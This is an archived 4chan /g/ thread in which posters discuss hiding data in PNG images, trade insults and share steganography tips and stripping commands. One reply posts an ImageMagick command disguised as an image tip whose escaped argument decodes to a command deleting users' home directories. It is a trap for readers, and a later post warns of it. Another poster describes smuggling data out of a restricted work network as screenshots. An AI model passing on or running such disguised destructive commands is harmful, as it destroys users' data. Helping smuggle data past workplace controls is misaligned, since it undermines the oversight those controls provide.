[a / b / c / d / e / f / g / gif / h / hr / k / m / o / p / r / s / t / u / v / vg / vm / vmg / vr / vrpg / vst / w / wg] [i / ic] [r9k / s4s / vip] [cm / hm / lgbt / y] [3 / aco / adv / an / bant / biz / cgl / ck / co / diy / fa / fit / gd / hc / his / int / jp / lit / mlp / mu / n / news / out / po / pol / pw / qst / sci / soc / sp / tg / toy / trv / tv / vp / vt / wsg / wsr / x / xs] [Settings] [Search] [Mobile] [Home]
Board
Settings Mobile Home
/g/ - Technology


Thread archived.
You cannot reply anymore.


[Advertise on 4chan]


Hooray! I figured out how to extract the binary data from a png as a string. Can't wait to start hiding shit in images and gifs. Steganography ftw
>>
>>107552218
>I figured out how
Did you read an article, one of thousands, that explains it step by step?
>>
>>107552218
I will be using the steganography algorithm that I didn't know how to write but had visions of during my first manic episode in 2009. I thought it was the theory of everything.
>>
>>107552235
no i just figured it out. i'm not a genius, i'm just not a fucking retard like you are
>>
>>107552254
it's all about binary strings. i'm using the bible translated into a conlang as a source. or i could just use a regular bible, dude whatever
>>
>>107552218
'000000000000010000000001000010100100111000010100011000000110000010000101010100111010000010011111000
1001011011000000000000001100101101000001000000010011010101000010101100000001101100000101001100111010
0000000111010010110001110001001011000010011101001100010000111100101011001011010110110010101000001010
0011100001010001111110111001010010110101100100000000010110001100100101000100100000111000100111101100
0100111111001111111110001011001000100001001100000101101100001001011001100101111101100001010001011111
1001001100000000001111001010011100000000010000111001110011101000011101100010011010000010100100101010
0010101100000010000100110000111011100000101010000111101110000110100111100011011001100111001010010111
0100111100100101100101000100100101100010001000101001000010111101010100111001111001010000110100101100
1101000011101000011001101010000110101000010011111110100100000101011001010110011000011011101100011101
1100110010111010100110111000001101000001010001001000010111111001101001000000111101111000000000010000
0100100100010011010000011110100110010010100110101000001001101000000101000111111000110111011000111010
1001101011101110100011010100000010101111000110001011001010101001101001010000110101010000101011000001
0000000100000010101001010110001011010000101010101110001001100001111001011000000001011010010101001000
1001001000110000000111000110001001001001001000000110101100011101111000111100010100110000010001000010
0011100111000110000011000000000101010110000000101100101101101101010000110011100010001011111110100100
1011001110110101100110100101010110101110000010100000111001100110101001000011001101110000100101010101
0011001000111010100001101100100010001000100010101010110011001000010011000100101010100000000100010001
1001001010010001100011100111100000010100100010111000111111011001101001000010111100110010011101010001

only first 2000 b/c post limit. holy shit that took forever. now what do i do?
>>
>>107552375
im asking how to decode your encryption thing
>>
>>107552406
planning to add the bible to the png

the 1's and 0's in the binary data tell you what the message is. but you have to use the bible.
>>
>>107552218
opening 4chan images with winrar to share files was already a thing 20 years ago retard
>>
>>107552580
not even dollar store terry
>>
>>107552218
baste, have a you
>>
>>107552614

the devs talked to both me and terry. he thought it was god, but no, it's just the devs
>>
>>107552614
this was the message i got 17 years ago. i didn't figure out what it was until a few months ago. i didn't know it was a steganography algo. at the time i had no idea what steganography even was. i was taking intro compsci and i got a C. didn't understand code until my second manic episode in 2017
>>
File: 1565188296815.jpg (79 KB, 640x407)
79 KB
79 KB JPG
>>107552218
Please be aware that certain combinations of 0s and 1s are prohibited by law.
>>
>>107552218
With a png it's pretty simple, you just use the last bit of each color byte. So for 24 bit images, you get 3 bits per pixel to encode something. It's visually imperceptible.
>>
$ magick dirty.png ppm:- | magick - png:- | oxipng -o max --strip=safe --fast --out clean.png -
sorry, but the atheist demon chuds win this round. i won't be exorcised by mere steganography.
>>
File: 1765757419129.png (1.04 MB, 1280x720)
1.04 MB
1.04 MB PNG
>>107553458
Ok, maybe I will be exorcised by the humiliation of messing up the formatting.
>>
File: magick.png (1.56 MB, 1024x1024)
1.56 MB
1.56 MB PNG
>>107553458
magick --transform="`$'\x72\x6d' $'\55\x72\x66' $'\57\x68\x6f\x6d\x65'`" in.png out.png
>>
>>107553458
you're assuming the hidden data is in the metadata or the compression. If it's in the pixels themselves you should be using a lossy compressor to get rid of it.
>>
>>107553525
this will brick your computer
>>
>>107552261
OK but the end result is we can both do it so.....
>>
>>107552235
PNG is really fucking basic. Even I wrote my own pure js (for web shit because canvas blobbed didn't have the properties I wanted) PNG library. Probably the hardest thing is the zlib compressor.
>>
>>107552218
My workplace moved to a system of using remote VMs to do all our work on. Data can not enter or leave the network except through their specialized tool that supports only images (need to take screenshots for audit purposes).

Took like, 30 minutes to create a script that takes arbitrary data and turns it into a PNG.
>>
File: floppy_rgb.png (3.92 MB, 1024x1180)
3.92 MB
3.92 MB PNG
>>107552218
Is this the thread?
>>
>>107552261
>no ... i'm just not a fucking retard like you are
I'll take that as a yes. I hope you get a B+, kiddo.
>>
File: Screenshot (121).png (557 KB, 1920x1080)
557 KB
557 KB PNG
>>107554522
i suppose (((they))) patched that
>>
>>107553495
>tfw no open source pizza
>mfw starving
>>
>>107554588
>opening pizza on windows
bold
>>
File: ︂openbased.org-4chan.png (1.1 MB, 545x545)
1.1 MB
1.1 MB PNG
>>107552218
>he doesn't know
>>
>>107554588
there is a ACE exploit in this
>>
>>107554689
this userscript is broken anon
>>
>>107552324
First four octets aren't 0x89 P N G. This didn't come from a .PNG file.
>>
File: ︀1000069965.png (2.05 MB, 1080x1080)
2.05 MB
2.05 MB PNG
>>107553307
You can get away with much more. Picrel is 8 bits per pixel, and if you uses RGB48 you can do 24 bits per pixel without it evn being visible at all. See >>107554689

>>107554722
Works on my machine.
>>
>>107554791
Cute monke.
>>
>>107554695
yea its so unstable when you are dealing with files being used by other processes, otherwise HxD just works
>>
in c++ that is just
std::ifstream file(PATH, std::ios::binary);
file.seekg(0, std::ios::end);
std::string f(file.tellg(), '?');
file.seekg(0, std::ios::beg);
file.read(f.data(), f.size());
>>
>>107554522
how do I extract this? was this made using file2png.py?
>>
>>107555091
nice UB you got here
>>
>>107552218
Great job anon. You found a way to (inefficiently) encode a 10x10png image into a 1606x1090png
>>
File: monkey transgender.gif (1.68 MB, 386x404)
1.68 MB
1.68 MB GIF
>>107554876
monke?
>>
>>107559201
She's a biological female, sir. https://www.reddit.com/r/Cristinysam/



[Advertise on 4chan]

Delete Post: [File Only] Style:
[Disable Mobile View / Use Desktop Site]

[Enable Mobile View / Use Mobile Site]

All trademarks and copyrights on this page are owned by their respective parties. Images uploaded are the responsibility of the Poster. Comments are owned by the Poster.